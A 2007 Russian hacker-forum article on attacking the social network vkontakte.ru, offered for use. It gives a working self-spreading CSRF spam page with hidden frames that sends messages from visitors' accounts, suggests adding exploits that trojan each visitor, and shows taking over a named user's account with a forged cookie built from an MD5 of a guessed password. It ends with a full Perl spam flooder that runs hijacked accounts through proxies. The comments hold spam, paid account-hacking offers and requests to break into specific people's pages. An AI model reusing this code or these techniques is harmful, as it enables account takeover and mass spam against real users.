Некоторые баги vkontakte.ru » ..::XakepOK.ORG::..
XakepOK.ORG Logo
    
ГЛАВНАЯ  |  ФОРУМ  |  НОВОСТИ  |  СТАТЬИ  |  РЕЛИЗЫ  |  E-BOOKS  |  СКАЧАТЬ  |  WEB-TOOLS |  СНИФФЕР  |  ЮЗЕРБАРЫ  |  О НАС
Последние темы с форума
Название темы Пользователь Просмотров Ответов
Продам загрузки(контент) для WAP сайта! free-boy00
INV4S10N Downloader v3.0 lexel501
BlackDownloader v.1.1 lexel541
Spider Downloader 1.0 lexel551
Reaper Downloader v2.0 lexel651
Gh0stly Downlader 2.0 lexel791
HHMultiDownloader v1.0 ( Coded in MASM & VB6 ) lexel671


Некоторые баги vkontakte.ru Категория: Статьи » Web-hack

14 сентября 2007 | Автор: nexgen | Просмотров: 11015 |
Некоторые баги vkontakte.ru

Интро


Привет, котятки! Сегодня мы попробуем заняться паразитизмом на довольно крупном сервисе vkontakte.ru. Сервис страдает от огромного количества всевозможных проблем с безопасностью и просто багов.
Рассмотрим пару самых занятных багов, может быть, напишем флудер/спаммер.
1. Занимательный javascript

В связи с тем, что изначально формы отправки сообщений и комментариев были ничем не защищены, то был получен довольно забавный опыт саморассылающегося спама. Это и по сей день остаётся актуальным, ибо часть скриптов по-прежнему не защищена.

Итак, рассмотрим, к примеру, скрипт отправки личных сообщений. Вообще, изначально пользователи взаимодействуют с ним посредством метода POST, но в самом скрипте метод не проверяется (то ли используется суперглобальный массив $_REQUEST, то ли register_globals=on).
Примечание: метод не имеет значения, просто метод GET несколько упрощает скрипт, о методе POST будет сказано ниже.

Чтобы отправить сообщение достаточно перейти по ссылке: http://vkontakte.ru/mail.php?act=sent&to_id=1&title=&message=Hello.
Сообщение будет отправленно в случае наличия куки. Собстсвенно, в этом и состоит идея - написать скрипт, который будет открывать эту ссылку в скрытом фрейме, рассылая наши сообщения.

Создадим три страницы:
1) index.html
<br />
&lt;frameset ROWS="100%,0%,0%"><br />
&lt;FRAME NAME="mainfrm" SRC="http://www.183.ru/2/"><br />
&lt;FRAME NAME="preved" SRC="preved.html"><br />
&lt;FRAME NAME="timer" SRC="timer.html"><br />
&lt;/frameset><br />


2) preved.html

&lt;html>&lt;head>&lt;/head>&lt;body>&lt;/body>&lt;/html>



3) timer.html

&lt;head> &lt;script> function timer() { var msg = new String(); var msg_to; do { msg_to=Math.ceil(Math.random()*1000000); } while (msg_to.value>1100000); // генерируем случайный id получателя msg=urlencode('Превед!'); // наше сообщение 8) msg+='%0a'+parent.location; // добавим к сообщению ссылку на сайт, на котором мы расположены // отправим наше сообщение parent.preved.document.location="http://vkontakte.ru/mail.php?act=sent&amp;to_id="+msg_to+"&amp;title=&amp;message="+msg; setTimeout("timer()", 1250); // И поставим сами себя на таймер } &lt;/script> &lt;/head> &lt;body> &lt;script> timer(); &lt;/script> &lt;/body>



Таким образом, скрипт во фрейме timer будет постоянно слать сообщения, используя фрейм preved, а фрейм mainfrm служит для отвода глаз.

Что делать, если скрипт поддерживает только метод POST? В этом случае нужно создать форму для отправки данных скрипту на сервере, и написать скрипт для отправки формы, вызывающий метод submit: document.our_form.submit();

Пример сего чуда в действии можно посмотреть тут: http://l-0-v-e.by.ru
Когда я опробовал это в действии, счётчик на странице насчитал 17400 человек, сходивших по ссылке. Не очень много, но всё же.
Сие милое развлечение было окрещено пользователями "вирусом".
"Какая же от этого практическая польза?" - спросите вы. Понавешайте на страницу илитных зиродей сплоетов, троянящих каждого зашедшего, и польза будет 8)
2. Проблемы с безопасностью

В куке не проверяется e-mail. Единственное условие - переменная remixemail должна быть непустой. Что, собственно, это нам даёт? Рассмотрим пример: посмотрим, скажем, на пользователя http://vkontakte.ru/profile.php?id=196. Замечательный пользователь. Взглянем на дату рождения - 05.01.1984. Захешируем стоку "05011984" алгоритмом md5, получим a99fa18a6d54dfda21c15fa3f5fe2aac. Составим куку вручную:
&amp;#60;br /&amp;#62;&lt;br />remixmid=196; remixemail=bill_gates%40microsoft.com; remixpassword=a99fa18a6d54dfda21c15fa3f5fe2aac;&amp;#60;br /&amp;#62;&lt;br />

Откроем страницу vkontakte.ru и - оп! - мы пользователь с id=196. Не хватает только адреса почты. Раньше его можно было посмотреть на странице настроек, но теперь это дело прикрыли. Тем не менее, если он нужен, то его можно получить при попытке смены почты - на оба ящика придёт письмо с указанием обоих адресов. Не красиво, ибо жертва его тоже получит, но если пароль подойдёт к мыльнику - можно будет его удалить.

№. Многопоточный флудер

Ну и коль мы нахекали целую гору аккаунтов, отчего б не написать спаммер заметок.
How to use: аккаунты в accs.txt, прокси в proxies.txt. Для отправки каждого сообщения fork-ом создаётся потомок нашего процесса, если он живёт слишком долго - убивается. Под разными системами по-разному, на некоторых после завершения родительского процесса могут оставаться детишки-зомби 8)
Код:
<br />
#!/usr/bin/perl<br />
<br />
#<br />
# By lord_of_keyboard, 2007.<br />
#<br />
<br />
use IO::Socket;<br />
use Digest::MD5 qw (md5_hex);<br />
<br />
sub add_child {<br />
&nbsp;&nbsp;&nbsp; my $proxy=shift;<br />
&nbsp;&nbsp;&nbsp; my $acc=shift;<br />
&nbsp;&nbsp;&nbsp; my $pid = fork();<br />
&nbsp;&nbsp;&nbsp; if ($pid) { # parent<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; push(@children, $pid.":".time());<br />
&nbsp;&nbsp;&nbsp; } elsif ($pid == 0) { # child<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; $proxy=~s/[\r\n ]//g; $acc=~s/[\r\n ]//g;<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; my ($host, $port) = split(":",$proxy);<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; my ($id, $password, $shit) = split(":", $acc);<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; my $cookie="remixmid=$id; remixemail=bill_gates%40microsoft.com; remixpass=".md5_hex($password);<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; my $post_id=int(rand(400000));&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; my $text = "Я тебя люблю ";<br />
<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; for $i (1..int(rand(10)+1)){ $text.=")"; }<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; $text.="\n http://l-0-v-e.by.ru/";<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; $text =~s/([^A-Za-z0-9])/sprintf("%%%02X", ord($1))/seg;<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; my $get = "GET http://vkontakte.ru/notes.php?act=s&amp;nid=$post_id HTTP/1.0\r\n".<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; "Host: vkontakte.ru\r\n".<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; "Accept: */*\r\n".<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; "Content-Type: application/x-www-form-urlencoded\r\n".<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; "Referer: http://vkontakte.ru/\r\n".<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; "User-Agent: Internet Explorer 6.0\r\n".<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; "Cookie: $cookie\r\n".<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; "Connection: close\r\n\r\n";<br />
&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; my $sock = IO::Socket::INET->new(Proto=>'tcp', PeerAddr=>$host, PeerPort=>$port);<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; print $sock $get;<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; while ($html = &lt;$sock>){<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; if ($html =~ /name="blog_id"/gi){<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $html=~m/(\d+)/gi;<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $blog_id = $1;<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; close $sock;<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; sleep(1);<br />
<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; $request = "blog_id=$blog_id&amp;post_id=$post_id&amp;act=addComment&amp;comment=$text";<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; $comment = "POST http://vkontakte.ru/notes.php HTTP/1.1\r\n".<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; "Host: vkontakte.ru\r\n".<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; "Accept: */*\r\n".<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; "Content-Type: application/x-www-form-urlencoded\r\n".<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; "Content-Length: ".length($request)."\r\n".<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; "Referer: http://vkontakte.ru/\r\n".<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; "User-Agent: Internet Explorer 6.0\r\n".<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; "Cookie: $cookie\r\n".<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; "Connection: close\r\n\r\n$request";<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; my $sock = IO::Socket::INET->new(Proto=>'tcp', PeerAddr=>$host, PeerPort=>$port);<br />
&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; print $sock $comment;<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; while (&lt;$sock>){ print; }<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; close $sock;<br />
<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; exit(0); # bailing out 8)<br />
&nbsp;&nbsp;&nbsp; } else {<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; die "couldn't fork: $!\n";<br />
&nbsp;&nbsp;&nbsp; }<br />
}<br />
<br />
sub next_plz {<br />
&nbsp;&nbsp;&nbsp; $proxy_offset++; $acc_offset++;<br />
&nbsp;&nbsp;&nbsp; if ($proxy_offset>$#{@proxies}){ $proxy_offset=0; }<br />
&nbsp;&nbsp;&nbsp; if ($acc_offset>$#{@accs}){ $acc_offset=0; }<br />
}<br />
<br />
print "Hello, master. I am ready to serve you.\n\n";<br />
<br />
open(FILE,"&lt;proxies.txt"); @proxies=&lt;FILE>; close FILE;<br />
open(FILE,"&lt;accs.txt");&nbsp;&nbsp;&nbsp; @accs=&lt;FILE>;&nbsp;&nbsp;&nbsp; close FILE;<br />
<br />
@children=(); $acc_offset=0; $proxy_offset=0;<br />
for my $i (1..10) { add_child(@proxies[$proxy_offset], @accs[$acc_offset]); next_plz; }<br />
<br />
while (1){<br />
&nbsp;&nbsp;&nbsp; print "There are ".(@children)." of us.\n";<br />
&nbsp;&nbsp;&nbsp; for my $i (0..$#{@children}) {<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; my $child=@children[$i];<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; my ($pid,$time)=split(":",$child);<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; my $status = waitpid($pid, -1);<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; if ($status>=0) {<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; if (time()-$time>30) {<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; kill($pid); # time has come to die, r.i.p.<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; } # if<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; } else {<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; splice(@children,$i,1);<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; add_child(@proxies[$proxy_offset], @accs[$acc_offset]); next_plz; <br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp; } # foreach<br />
sleep(2);<br />
}<br />


Заключение

Всё написанное выше - не более, чем описание некоторого опыта. Может кому-то пригодится, может, возможно использовать где-то ещё.
By C!klodoL & lord_of_keyboard, 2007.


          Комментарии: 15
#1 Комментарий от: M@K$

1 октября 2007 17:16 | ICQ: --
>Взглянем на дату рождения - 05.01.1984
дата рождения ни какого отношения не имеет к тому что содержится в remixpassword (там хеш пароля)
#2 Комментарий от: Partisan Moro

24 октября 2007 21:34 | ICQ: --
Просто у юзера 196 пароль - дата рождения...
Да и вобще эту лазейку закрыли давно...
#3 Комментарий от: Ilovemycomp

3 ноября 2007 00:19 | ICQ: --
Все прикрыли все эти лазейки! Найдете новые сообщите пожалуйста!!!!
#4 Комментарий от: Извиняюсь

17 ноября 2007 11:18 | ICQ: --
Make real money whith the most trusted _casino-poker-online.tripod.com/real-money-online-poker.html" _real money online poker_ casino.
Search for top _casino-poker-online.tripod.com/casino-game-online-play-poker-top.html" _casino game online play poker top_ sites
Find best online poker room to get real money whith _casino-poker-online.tripod.com/best-online-poker-room.html" _best online poker room_ best online poker casino games
_casino-poker-online.tripod.com/beat-game-online-play-poker.html" _beat game online play poker_
Get best beat online poker _casino-poker-online.tripod.com/play-poker-online-no-download.html" _play poker online no download_
No download! Play online poker now! And enjoy best gambling online poker sites now!
#5 Комментарий от: DeadJocker

23 марта 2008 19:14 | ICQ: --
((((
#6 Комментарий от: derxew

15 мая 2008 16:39 | ICQ: --
решу физику и _www.brielt_" _программа физика_, а также световая физика
#7 Комментарий от: webmaster

3 июня 2008 16:05 | ICQ: --
Надо бы скрипты для Greasemonkey писать
_mobishare_" _Все для КПК бесплатно_ - полезный сайтец.
#8 Комментарий от: 0manowar0

19 июня 2008 15:54 | ICQ: --
Взлом анкет Вконтакте.ру ОДНОКЛАССНИКИ_

пароль не меняется





Стоимость 40wmz 1000руб

Предоставляem любые доказательства
оплата только после выполнения работы



ICQ 71010-11
#9 Комментарий от: КиевРулит

10 июля 2008 13:44 | ICQ: --
Возможно вскрыть вот этого пользователя:
http://vkontakte_/search.php?id=833609
1

Можно ли вскрыть вот этого пользователя:
http://vkontakte_/search.php?id=833609
1?
Об оплате поговорим после положительного ответа smile
#10 Комментарий от: Покер

17 августа 2008 09:13 | ICQ: --
_www.pokermoscow_" _покер_
#11 Комментарий от: Михаил

25 сентября 2008 14:42 | ICQ: --
_rudomens_/" _Порно видео фото_
#12 Комментарий от: Михаил

11 октября 2008 17:48 | ICQ: --
_incest-video.narod_/" _Инцест фото и видео_

_my-video-incest.nextmail_" _Лучший инцест_
#13 Комментарий от: ПЕТЯ ИВАНОВ

29 октября 2008 00:40 | ICQ: --
http://vkontakte_/search.php?id=1 ВСКРОЙТЕИ ЭТОГО ДАЛБАЁБА! ПУСТЬ НАХУЙ СИДИ ДРОЧИТ!
#14 Комментарий от: WARZAZ

31 декабря 2008 01:58 | ICQ: --
Новый варезник http://warzaz.6te.net ему всего 3 дня но ам уже больше 80 новостей. И это далеко непридел. Если каждый из Вас добавит хоть по одной новости, то сайт заживет полноценой жизню и будет одним из тех сайтов что роскрутились в недельние сроки!!
Я думаю Вы меня поймете. На сайт можнозаливать новости любого типа (18+ приветствуется). Спосибо за понемание и помощь в проэкте!

HTTP://WARZAZ.6TE.NET
#15 Комментарий от: гыгы))

1 января 2009 23:38 | ICQ: --
ЛЮДИ ПОЖАЛУЙСТА!!!!!!!!!!! Я ПРОСТО ВАС УМОЛЯЮ!!!!!!!! МНЕ ПРАВДА ОЧЕНЬ НАДО ВЗЛОМАТЬ СТРАНИЦУ ОДНОЙ ДУРЫ..... ПОЖАЛУЙСТА СДЕЛАЙТЕ РАДИ МЕНЯ!!!!!!!!
ВОТ ССЫЛКА:
http://vkontakte_/id18377929

Добавление комментария

Ваше Имя:


Ваш E-Mail:





Капча:            Включите эту картинку для отображения кода безопасности
обновить код

Введите код:

Навигация
Главная
Форум
Новости

Статьи
»Web-hack
»ICQ-hack
»Cracking
»Кодинг
»Соц. инженерия
»Разное

SEO
Книги
Web-tools
PHP-прокси
Обмен файлами
Сниффер
Информер
Генератор юзербаров
IRC-канал
О нас
Вход в систему
Логин:
Пароль:
 
Топ новостей
» Китайскому хакеру грозит около 7 лет тюремного заключен ...
» C новым, 2009 годом, и Рождеством Христовым!
» Хакеры стремительно молодеют
» Фоторамки с вирусами
» В 2009 г. будут «править» банковские трояны и лже-антив ...
» Украинским провайдерам предложили облагородить интернет
» УФАС признала спамеров виновными в нарушении закона о р ...
» Хакеры скомпрометировали данные 1,5 млн клиентов банка ...
» Украинские СМИ записали Ющенко в хакеры
Опрос
Кто такой по-вашему хакер?

Это - Я!!!
Жаждущий знаний
Преступник
Ну я даже не знаю...
Герой нашего времени
Сесть мы всегда успеем


Друзья сайта
..::XakNet.Ru::..
..::GraBBerZ.CoM::..
Eugen.SU Webt00lZ
TEM.DP.UA
..::Illmax.ru::..
..::qseZ.ORG::..
..::Tolpa.ORG::..
..::ProLogic.ws::..
52Nn TeaM
hacklab.org.ru
..::web-a.info::..
Indetails.info
.::VzloM.IN::.
Evil Forest
.:BlackHack.Ru:.
Планету-хакерам
...::ICQ Primary Base::...
TGBR Community
Ссылки
Счетчики:
дизайн сайта: Rock Technologies — достичь вершин